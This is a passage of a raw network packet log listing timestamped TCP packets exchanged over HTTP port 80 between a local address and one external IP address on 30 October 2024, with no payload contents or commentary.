Oct 30, 2024 05:24:25.157649040 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.157659054 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.157669067 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.157700062 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.157757044 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.157769918 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.157779932 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.157785892 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.157877922 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.157891035 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.157954931 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.157968044 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.158018112 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.158030033 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.158041000 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.158071041 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.158083916 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.158091068 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.158096075 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.158104897 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.158118963 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.158143044 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.158155918 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.158159971 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.158159971 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.158211946 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.158256054 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.158267975 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.158277035 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.158340931 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.158370018 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.158406019 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.158416986 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.158433914 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.158452988 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.158464909 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.158468962 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.158477068 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.158716917 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.158878088 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.158890009 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.158900023 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.158924103 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.159131050 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.192147017 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.223114014 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.223148108 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.223179102 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.223190069 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.223205090 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.223239899 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.223246098 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.223251104 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.223263025 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.223273993 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.223319054 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.223331928 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.223331928 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.223335981 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.223359108 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.223371029 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.223381042 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.223386049 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.223392010 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.223403931 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.223403931 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.223422050 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.223428965 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.223454952 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.255537987 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.255563021 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.255574942 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.255645990 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.255650997 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.255650997 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.255665064 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.255681038 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.255703926 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.255717039 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.255727053 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.255728960 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.255745888 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.255829096 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.255834103 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.255851984 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.255876064 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.255892038 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.255907059 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.255906105 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.255933046 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.255944967 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.255955935 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.255958080 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.255969048 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.255987883 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.255999088 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.256023884 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.256057024 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.256068945 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.256099939 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.256113052 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.256118059 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.256161928 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.276712894 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.276746035 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.276762009 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.276772976 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.276875973 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.276901960 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.276922941 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.276936054 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.277003050 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.277005911 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.277020931 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.277044058 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.277045012 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.277055979 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.277066946 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.277101994 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.277127028 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.277189016 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.277203083 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.277219057 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.277232885 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.277250051 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.277257919 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.277267933 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.277277946 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.277285099 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.277337074 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.277348042 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.277365923 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.277390003 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.277401924 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.277415037 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.277466059 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.277477980 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.277488947 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.277498007 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.277551889 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.277554035 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.277554035 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.277612925 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.277622938 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.277648926 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.277659893 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.277672052 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.277676105 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.277715921 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.277791977 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.277992964 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.278006077 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.278016090 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.278556108 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.335841894 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.336002111 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.336011887 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.336019993 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.336030960 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.336044073 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.336055040 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.336061001 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.336066008 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.336092949 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.336160898 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.336186886 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.336297989 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.336308956 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.336319923 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.336330891 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.336340904 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.336361885 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.336419106 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.336468935 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.336486101 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.336498976 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.336509943 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.336519957 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.336525917 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.336534023 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.336584091 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.336584091 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.374711990 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.374742031 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.374752045 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.374802113 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.374813080 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.374825001 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.374826908 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.374842882 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.374856949 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.374874115 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.374874115 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.374943972 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.374948025 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.375026941 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.375037909 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.375047922 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.375089884 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.375111103 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.375169039 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.375180006 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.375190020 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.375236988 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.375236988 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.375298023 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.375324011 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.375339031 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.375360966 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.375371933 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.375379086 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.375400066 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.375411987 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.375423908 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.375431061 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.375449896 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.375602961 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.395801067 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.395814896 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.395824909 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.395904064 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.395992041 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.396075964 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.396085978 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.396101952 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.396102905 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.396119118 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.396126032 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.396131039 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.396179914 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.396200895 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.396271944 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.396275997 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.396286964 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.396388054 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.396393061 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.396416903 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.396428108 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.396456003 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.396480083 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.396496058 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.396507025 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.396516085 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.396521091 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.396533012 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.396555901 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.396569967 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.396580935 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.396590948 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.396609068 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.396631002 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.396632910 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.396651983 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.396672010 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.396718025 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.396728992 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.396740913 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.396784067 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.396821976 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.396823883 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.396833897 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.396846056 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.396855116 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.396871090 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.396943092 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.397106886 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.397138119 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.397147894 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.397219896 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.397231102 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.397244930 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.397423029 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.453309059 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.453329086 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.453340054 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.453378916 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.453391075 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.453408003 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.453485012 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.453490973 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.453496933 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.453510046 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.453520060 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.453553915 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.453555107 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.453566074 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.453576088 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.453588009 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.453608036 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.453636885 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.453649044 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.453660011 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.453660011 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.453707933 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.453707933 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.453715086 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.453727007 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.453737974 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.453788042 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.453795910 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.453805923 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.453830004 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.453841925 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.453855038 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.453893900 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.453905106 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.453916073 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.454020977 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.465279102 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.494024038 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.494036913 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.494052887 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.494066000 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.494076967 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.494088888 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.494122982 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.494146109 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.494158030 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.494170904 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.494182110 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.494184971 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.494208097 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.494221926 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.494246960 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.494257927 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.494271040 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.494281054 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.494329929 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.494340897 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.494353056 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.494364977 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.494400978 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.494529963 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.494540930 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.494550943 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.494575977 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.494587898 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.494602919 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.494604111 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.494702101 CET	80	49760	185.215.113.16	192.168.2.6
